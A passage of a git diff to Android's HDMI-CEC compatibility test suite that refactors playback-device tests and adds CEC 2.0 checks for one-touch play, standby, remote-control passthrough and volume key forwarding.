 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
-import org.junit.Ignore;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.RuleChain;
@@ -58,11 +54,12 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
 
     /**
      * Test 11.2.1-1
@@ -73,7 +70,7 @@
     public void cect_11_2_1_1_OneTouchPlay() throws Exception {
         ITestDevice device = getDevice();
         device.reboot();
-        sendOtp(device);
+        sendOtp();
         hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.ACTIVE_SOURCE);
         CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
@@ -93,8 +90,4 @@
         CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
         device.executeShellCommand(FORCE_STOP_COMMAND + SETTINGS_PACKAGE);
     }
-
-    private void sendOtp(ITestDevice device) throws Exception {
-        device.executeShellCommand("cmd hdmi_control onetouchplay");
-    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
index 2a5485b..5b361be 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecPowerStatusTest.java
@@ -16,9 +16,6 @@
 
 package android.hdmicec.cts.playback;
 
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
@@ -33,6 +30,9 @@
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -45,15 +45,61 @@
         super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
     }
 
+    private static final int OFF = 0x1;
+
+    private static final List<String> UCP_POWER_MSGS = new ArrayList<>(Arrays.asList(
+            CecMessage.buildCecMessage(LogicalAddress.PLAYBACK_1, LogicalAddress.TV,
+                    CecOperand.USER_CONTROL_PRESSED, HdmiCecConstants.CEC_KEYCODE_POWER),
+            CecMessage.buildCecMessage(LogicalAddress.PLAYBACK_1, LogicalAddress.TV,
+                    CecOperand.USER_CONTROL_PRESSED,
+                    HdmiCecConstants.CEC_KEYCODE_POWER_TOGGLE_FUNCTION),
+            CecMessage.buildCecMessage(LogicalAddress.PLAYBACK_1, LogicalAddress.TV,
+                    CecOperand.USER_CONTROL_PRESSED,
+                    HdmiCecConstants.CEC_KEYCODE_POWER_OFF_FUNCTION),
+            CecMessage.buildCecMessage(LogicalAddress.PLAYBACK_1, LogicalAddress.TV,
+                    CecOperand.USER_CONTROL_PRESSED,
+                    HdmiCecConstants.CEC_KEYCODE_POWER_ON_FUNCTION)));
+
+    private static final List<CecOperand> VIEW_ON_MSGS =
+            new ArrayList<>(Arrays.asList(CecOperand.TEXT_VIEW_ON, CecOperand.IMAGE_VIEW_ON));
+
     @Rule
     public RuleChain ruleChain =
-            RuleChain
-                    .outerRule(CecRules.requiresCec(this))
+            RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
                     .around(hdmiCecClient);
 
     /**
+     * Test HF4-6-1
+     *
+     * <p>Verify that the DUT initially tries sending either {@code <Image View On>} or
+     * {@code <Text View On>} to wake up the TV when the DUT wants to become the active source,
+     * before sending any {@code <User Control Pressed>} with power-related operands.
+     */
+    @Test
+    public void cect_hf4_6_1_otp_viewOnBeforeUcp_20() throws Exception {
+        ITestDevice device = getDevice();
+        /* Make sure the device is not booting up/in standby */
+        device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
+
+        setCec20();
+
+        /* simulate a TV that is in the Standby state. */
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, LogicalAddress.BROADCAST,
+                CecOperand.REPORT_POWER_STATUS, CecMessage.formatParams(OFF));
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+
+        sendOtp();
+
+        hdmiCecClient.checkMessagesInOrder(LogicalAddress.TV, VIEW_ON_MSGS, UCP_POWER_MSGS);
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.ACTIVE_SOURCE);
+        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+    }
+
+    /**
      * Test HF4-6-7
      * Same as Test HF4-6-9
      *
@@ -64,31 +110,66 @@
      */
     @Test
     public void cect_hf4_6_7_setStreamPath_powerOn() throws Exception {
-        ITestDevice device = getDevice();
-
         try {
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
-
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.MAX_SLEEP_TIME_SECONDS);
-
-            String wakeStateBefore = device.executeShellCommand(
-                    "dumpsys power | grep mWakefulness=");
-            assertThat(wakeStateBefore.trim()).isEqualTo("mWakefulness=Asleep");
-
+            sendDeviceToSleep();
             hdmiCecClient.sendCecMessage(
                     LogicalAddress.TV,
                     LogicalAddress.BROADCAST,
                     CecOperand.SET_STREAM_PATH,
                     CecMessage.formatParams(getDumpsysPhysicalAddress(),
                             HdmiCecConstants.PHYSICAL_ADDRESS_LENGTH));
-
-            TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
-            String wakeStateAfter = device.executeShellCommand(
-                    "dumpsys power | grep mWakefulness=");
-            assertWithMessage("Device should wake up on <Set Stream Path>")
-                    .that(wakeStateAfter.trim()).isEqualTo("mWakefulness=Awake");
+            assertDeviceWakefulness(HdmiCecConstants.WAKEFULNESS_AWAKE);
         } finally {
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
         }
     }
-}
\ No newline at end of file
+
+    /**
+     * Test HF4-6-16
+     *
+     * <p>Verify that the DUT initially sends a {@code <Standby>} message to the TV when system
+     * standby feature is enabled, before sending any {@code <User Control Pressed>} with
+     * power-related operands. (Ref section 11.5.1 in CEC 2.1 specification)
+     */
+    @Test
+    public void cect_hf4_6_16_standby_tvBeforeUcp_20() throws Exception {
+        setCec20();
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
+
+        try {
+            sendDeviceToSleepWithoutWait();
+            hdmiCecClient.checkMessagesInOrder(
+                    LogicalAddress.TV,
+                    new ArrayList<>(Arrays.asList(CecOperand.STANDBY)),
+                    UCP_POWER_MSGS);
+        } finally {
+            wakeUpDevice();
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+
+    /**
+     * Test HF4-6-19
+     *
+     * <p>Verify that the DUT initially broadcasts a {@code <Standby>} message when the system
+     * standby feature is enabled, before sending any {@code <User Control Pressed>} with
+     * power-related operands.
+     */
+    @Test
+    public void cect_hf4_6_19_standby_broadcastBeforeUcp_20() throws Exception {
+        setCec20();
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_BROADCAST);
+        try {
+            sendDeviceToSleepWithoutWait();
+            hdmiCecClient.checkMessagesInOrder(
+                    LogicalAddress.BROADCAST,
+                    new ArrayList<>(Arrays.asList(CecOperand.STANDBY)),
+                    UCP_POWER_MSGS);
+        } finally {
+            wakeUpDevice();
+            setPowerControlMode(previousPowerControlMode);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
index bc9f499..baaccc8 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRemoteControlPassThroughTest.java
@@ -16,11 +16,18 @@
 
 package android.hdmicec.cts.playback;
 
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
 import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.HdmiControlManagerUtility;
 import android.hdmicec.cts.LogicalAddress;
 import android.hdmicec.cts.RemoteControlPassthrough;
 
+import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
@@ -43,11 +50,12 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
 
     /**
      * Test 11.2.13-1
@@ -73,4 +81,174 @@
         RemoteControlPassthrough.checkUserControlPressAndHold(
                 hdmiCecClient, getDevice(), LogicalAddress.TV, dutLogicalAddress);
     }
+
+    /**
+     * HF 4-8-4
+     *
+     * <p>Verify that the device that support cec version 2.0 accepts {@code <USER_CONTROL_PRESSED>}
+     * messages and maps to appropriate internal action.
+     *
+     * No Android keycode defined for {@code <CEC_KEYCODE_FAVORITE_MENU>},
+     * {@code <CEC_KEYCODE_STOP_RECORD>} and {@code <CEC_KEYCODE_PAUSE_RECORD>}
+     *
+     * The UI commands Audio Description, internet and 3D mode are introduced in CEC 2.0 devices but
+     * they haven't been implemented yet.
+     * TODO: Add these UI commands once they are implemented.
+     */
+    @Test
+    public void cect_4_8_4_UserControlPressAndRelease_20() throws Exception {
+        setCec20();
+        LogicalAddress dutLogicalAddress = getTargetLogicalAddress(getDevice(), DUT_DEVICE_TYPE);
+        RemoteControlPassthrough.checkUserControlPressAndRelease_20(
+                hdmiCecClient, getDevice(), LogicalAddress.TV, dutLogicalAddress);
+    }
+
+    /**
+     * Test HF4-8-12
+     *
+     * <p>Tests that device sends the UCP Commands related to menus (Device Root Menu, Device Setup
+     * Menu, Contents Menu, Media Top Menu, Media Context-Sensitive Menu) in the operand [RC Profile
+     * Source] that is sent in the <Report Features> message and verifies that device reacts to sent
+     * UCP commands.
+     */
+    @Test
+    public void cect_hf4_8_12_UCPForRcProfileSearchOperand() throws Exception {
+        setCec20();
+        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GIVE_FEATURES);
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_FEATURES);
+        int remoteControlProfileSource = CecMessage.getParams(message, 4, 6);
+        if ((remoteControlProfileSource & 0x01) == 0x01) {
+            sendUcpMenuCommand(
+                    HdmiCecConstants.CEC_KEYCODE_MEDIA_CONTEXT_SENSITIVE_MENU,
+                    "TV_MEDIA_CONTEXT_MENU");
+        }
+        if ((remoteControlProfileSource & 0x02) == 0x02) {
+            sendUcpMenuCommand(HdmiCecConstants.CEC_KEYCODE_MEDIA_TOP_MENU, "MEDIA_TOP_MENU");
+        }
+        if ((remoteControlProfileSource & 0x04) == 0x04) {
+            sendUcpMenuCommand(HdmiCecConstants.CEC_KEYCODE_CONTENTS_MENU, "TV_CONTENTS_MENU");
+        }
+        if ((remoteControlProfileSource & 0x08) == 0x08) {
+            sendUcpMenuCommand(HdmiCecConstants.CEC_KEYCODE_SETUP_MENU, "SETTINGS");
+        }
+        if ((remoteControlProfileSource & 0x10) == 0x10) {
+            sendUcpMenuCommand(HdmiCecConstants.CEC_KEYCODE_ROOT_MENU, "MENU");
+        }
+    }
+
+    private void sendUcpMenuCommand(int cecKeycode, String androidKeycode) throws Exception {
+        LogicalAddress dutLogicalAddress = getTargetLogicalAddress(getDevice(), DUT_DEVICE_TYPE);
+        RemoteControlPassthrough.checkUserControlPressAndRelease(
+                hdmiCecClient,
+                getDevice(),
+                LogicalAddress.TV,
+                dutLogicalAddress,
+                cecKeycode,
+                androidKeycode);
+    }
+
+    /**
+     * Test HF4-8-9 (CEC 2.0)
+     *
+     * <p>Tests that the DUT sends multiple {@code <USER_CONTROL_PRESSED>[KEYCODE]} when there is a
+     * long press keyevent.
+     */
+    @Test
+    public void cect_hf4_8_9_SendLongPress() throws Exception {
+        setCec20();
+        String message;
+        int i;
+
+        HdmiControlManagerUtility.sendLongPressKeyevent(this);
+        // The above command should send 5 <UCP>[KEYCODE_UP] messages followed by 1 <UCR> message
+        // and finally, a <UCP>[KEYCODE_DOWN].
+        for (i = 0; i < 5; i++) {
+            message =
+                    hdmiCecClient.checkExpectedOutput(
+                            LogicalAddress.TV, CecOperand.USER_CONTROL_PRESSED);
+            assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_KEYCODE_UP);
+        }
+        message =
+                hdmiCecClient.checkExpectedOutput(
+                        LogicalAddress.TV, CecOperand.USER_CONTROL_RELEASED);
+        message =
+                hdmiCecClient.checkExpectedOutput(
+                        LogicalAddress.TV, CecOperand.USER_CONTROL_PRESSED);
+        assertThat(CecMessage.getParams(message)).isEqualTo(HdmiCecConstants.CEC_KEYCODE_DOWN);
+    }
+
+    /**
+     * Test HF4-8-13 (CEC 2.0)
+     *
+     * <p>Tests that the device responds with a {@code <FEATURE_ABORT>[Not in correct mode]} when it
+     * is not in a mode to action the message.
+     */
+    @Test
+    public void cect_hf4_8_13_AbortIncorrectMode() throws Exception {
+        setCec20();
+        try {
+            sendDeviceToSleep();
+            hdmiCecClient.sendUserControlPressAndRelease(
+                    LogicalAddress.TV, HdmiCecConstants.CEC_KEYCODE_ROOT_MENU, false);
+            String message =
+                    hdmiCecClient.checkExpectedOutput(LogicalAddress.TV, CecOperand.FEATURE_ABORT);
+            int reason = CecMessage.getParams(message) & 0xFF;
+            assertThat(reason).isEqualTo(HdmiCecConstants.ABORT_NOT_IN_CORRECT_MODE);
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /*
+     * Test to check that the DUT sends volume key press events to the TV when system audio mode is
+     * not turned on.
+     */
+    @Test
+    public void cect_sendVolumeKeyPressToTv() throws Exception {
+        ITestDevice device = getDevice();
+        String ucpMessage;
+        String command = "cmd hdmi_control setsam ";
+
+        simulateCecSinkConnected(device, getTargetLogicalAddress());
+        String volumeControlEnabled =
+                getSettingsValue(device, HdmiCecConstants.SETTING_VOLUME_CONTROL_ENABLED);
+        setSettingsValue(
+                device,
+                HdmiCecConstants.SETTING_VOLUME_CONTROL_ENABLED,
+                HdmiCecConstants.VOLUME_CONTROL_ENABLED);
+
+        boolean wasSystemAudioModeOn = isSystemAudioModeOn(device);
+        if (wasSystemAudioModeOn) {
+            device.executeShellCommand(command + "off");
+            assertWithMessage("System audio mode is not off")
+                    .that(isSystemAudioModeOn(device))
+                    .isFalse();
+        }
+        try {
+            device.executeShellCommand("input keyevent KEYCODE_VOLUME_UP");
+            ucpMessage =
+                    hdmiCecClient.checkExpectedOutput(
+                            LogicalAddress.TV, CecOperand.USER_CONTROL_PRESSED);
+            assertThat(CecMessage.getParams(ucpMessage))
+                    .isEqualTo(HdmiCecConstants.CEC_KEYCODE_VOLUME_UP);
+            device.executeShellCommand("input keyevent KEYCODE_VOLUME_DOWN");
+            ucpMessage =
+                    hdmiCecClient.checkExpectedOutput(
+                            LogicalAddress.TV, CecOperand.USER_CONTROL_PRESSED);
+            assertThat(CecMessage.getParams(ucpMessage))
+                    .isEqualTo(HdmiCecConstants.CEC_KEYCODE_VOLUME_DOWN);
+            device.executeShellCommand("input keyevent KEYCODE_VOLUME_MUTE");
+            ucpMessage =
+                    hdmiCecClient.checkExpectedOutput(
+                            LogicalAddress.TV, CecOperand.USER_CONTROL_PRESSED);
+            assertThat(CecMessage.getParams(ucpMessage))
+                    .isEqualTo(HdmiCecConstants.CEC_KEYCODE_MUTE);
+        } finally {
+            if (wasSystemAudioModeOn) {
+                device.executeShellCommand(command + "on");
+            }
+            setSettingsValue(
+                    device, HdmiCecConstants.SETTING_VOLUME_CONTROL_ENABLED, volumeControlEnabled);
+        }
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index 9695351..65da394 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -39,10 +39,6 @@
 public final class HdmiCecRoutingControlTest extends BaseHdmiCecCtsTest {
 
     private static final int PHYSICAL_ADDRESS = 0x1000;
-    private static final String POWER_CONTROL_MODE =
-            "power_control_mode";
-    private static final String POWER_CONTROL_MODE_NONE =
-            "none";
 
     public HdmiCecRoutingControlTest() {
         super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
@@ -50,17 +46,12 @@
 
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-    private String setPowerControlMode(String valToSet) throws Exception {
-        String val = getSettingsValue(POWER_CONTROL_MODE);
-        setSettingsValue(POWER_CONTROL_MODE, valToSet);
-        return val;
-    }
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
 
     /**
      * Test 11.1.2-2, HF4-7-2
@@ -141,8 +132,8 @@
      */
     @Test
     public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception {
-        ITestDevice device = getDevice();
-        String previousPowerControlMode = setPowerControlMode(POWER_CONTROL_MODE_NONE);
+        String previousPowerControlMode =
+                setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_NONE);
         try {
             int dumpsysPhysicalAddress = getDumpsysPhysicalAddress();
             hdmiCecClient.sendCecMessage(
@@ -151,13 +142,13 @@
                     CecOperand.SET_STREAM_PATH,
                     CecMessage.formatParams(dumpsysPhysicalAddress));
             TimeUnit.SECONDS.sleep(5);
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            sendDeviceToSleepWithoutWait();
             String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
                     CecOperand.INACTIVE_SOURCE);
             CecMessage.assertPhysicalAddressValid(message, dumpsysPhysicalAddress);
         } finally {
             /* Wake up the device */
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
             setPowerControlMode(previousPowerControlMode);
         }
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
new file mode 100644
index 0000000..d9f0b95
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStandbyTest.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.runner.RunWith;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+
+import java.util.concurrent.TimeUnit;
+
+/** Tests that check Standby behaviour of playback devices */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecStandbyTest extends BaseHdmiCecCtsTest {
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
+
+    private void sendStandbyAndCheckNoStandbySent(LogicalAddress destAddress) throws Exception {
+        hdmiCecClient.broadcastActiveSource(LogicalAddress.TV);
+        TimeUnit.SECONDS.sleep(HdmiCecConstants.DEVICE_WAIT_TIME_SECONDS);
+        assertWithMessage("Device should not have been active source!")
+                .that(isDeviceActiveSource(getDevice()))
+                .isFalse();
+
+        try {
+            sendDeviceToSleep();
+            hdmiCecClient.checkOutputDoesNotContainMessage(destAddress, CecOperand.STANDBY);
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /**
+     * Tests that the DUT does not send a {@code <STANDBY>} to the TV when it is turned off, and is
+     * not the active source.
+     */
+    @Test
+    public void cectNoTvStandbyWhenNotActiveSource() throws Exception {
+        String prevMode = setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_TV);
+        sendStandbyAndCheckNoStandbySent(LogicalAddress.TV);
+        setPowerControlMode(prevMode);
+    }
+
+    /**
+     * Tests that the DUT does not broadcast a {@code <STANDBY>} when it is turned off, and is not
+     * the active source.
+     */
+    @Test
+    public void cectNoBroadcastStandbyWhenNotActiveSource() throws Exception {
+        String prevMode = setPowerControlMode(HdmiCecConstants.POWER_CONTROL_MODE_BROADCAST);
+        sendStandbyAndCheckNoStandbySent(LogicalAddress.BROADCAST);
+        setPowerControlMode(prevMode);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
deleted file mode 100644
index c574570..0000000
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hdmicec.cts.playback;
-
-import static com.google.common.collect.Iterables.filter;
-import static com.google.common.truth.Truth.assertWithMessage;
-import static org.junit.Assume.assumeTrue;
-
-import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
-import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
-
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import com.google.common.base.Predicate;
-import com.google.common.collect.ImmutableList;
-import javax.annotation.Nullable;
-import org.junit.Ignore;
-import org.junit.Rule;
-import org.junit.rules.RuleChain;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-
-import java.util.List;
-
-/**
- * HDMI CEC test to verify physical address after device reboot (Section 10.2.3)
- */
-@Ignore("b/149519706")
-@RunWith(DeviceJUnit4ClassRunner.class)
-public final class HdmiCecStartupTest extends BaseHdmiCecCtsTest {
-
-  private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-  private static final ImmutableList<CecOperand> necessaryMessages =
-      new ImmutableList.Builder<CecOperand>()
-          .add(CecOperand.REPORT_PHYSICAL_ADDRESS).build();
-  private static final ImmutableList<CecOperand> permissibleMessages =
-      new ImmutableList.Builder<CecOperand>()
-          .add(CecOperand.VENDOR_COMMAND, CecOperand.GIVE_DEVICE_VENDOR_ID,
-              CecOperand.SET_OSD_NAME, CecOperand.GIVE_OSD_NAME, CecOperand.CEC_VERSION,
-              CecOperand.DEVICE_VENDOR_ID, CecOperand.GIVE_POWER_STATUS,
-              CecOperand.GET_MENU_LANGUAGE).build();
-
-    public HdmiCecStartupTest() {
-        super(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
-    }
-
-    @Rule
-    public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
-
-  /**
-   * Tests that the device sends all the messages that should be sent on startup. It also ensures
-   * that only the device only sends messages which are allowed by the spec.
-   */
-  @Ignore("b/149519706")
-  @Test
-  public void cectVerifyStartupMessages() throws Exception {
-    ITestDevice device = getDevice();
-
-    /* Make sure device is playback only. Not applicable to playback/audio combinations */
-    String deviceTypeCsv = device.executeShellCommand("getprop ro.hdmi.device_type").trim();
-    assumeTrue(deviceTypeCsv.equals(LogicalAddress.PLAYBACK_1.getDeviceTypeString()));
-
-    device.executeShellCommand("reboot");
-    device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
-    /* Monitor CEC messages for 20s after reboot */
-    final List<CecOperand> messagesReceived =
-            hdmiCecClient.getAllMessages(mDutLogicalAddresses, 20);
-
-    /* Predicate to apply on necessaryMessages to ensure that all necessaryMessages are received. */
-    final Predicate<CecOperand> notReceived = new Predicate<CecOperand>() {
-      @Override
-      public boolean apply(@Nullable CecOperand cecOperand) {
-        return !messagesReceived.contains(cecOperand);
-      }
-    };
-
-    /* Predicate to apply on messagesReceived to ensure all messages received are permissible. */
-    final Predicate<CecOperand> notAllowed = new Predicate<CecOperand>() {
-      @Override
-      public boolean apply(@Nullable CecOperand cecOperand) {
-        return !(permissibleMessages.contains(cecOperand) || necessaryMessages.contains(cecOperand));
-      }
-    };
-
-    assertWithMessage("Some necessary messages are missing").
-        that(filter(necessaryMessages, notReceived)).isEmpty();
-
-    assertWithMessage("Some non-permissible messages received").
-        that(filter(messagesReceived, notAllowed)).isEmpty();
-  }
-}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
new file mode 100644
index 0000000..e8c0a3c
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemAudioControlTest.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.playback;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+import android.hdmicec.cts.HdmiCecConstants;
+import android.hdmicec.cts.LogicalAddress;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC test verifying system audio control commands (CEC 2.0 CTS Section 7.6) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemAudioControlTest extends BaseHdmiCecCtsTest {
+
+    public HdmiCecSystemAudioControlTest() {
+        super("-t", "a", "-t", "x");
+    }
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain.outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(
+                            CecRules.requiresDeviceType(
+                                    this, HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE))
+                    .around(hdmiCecClient);
+
+    /**
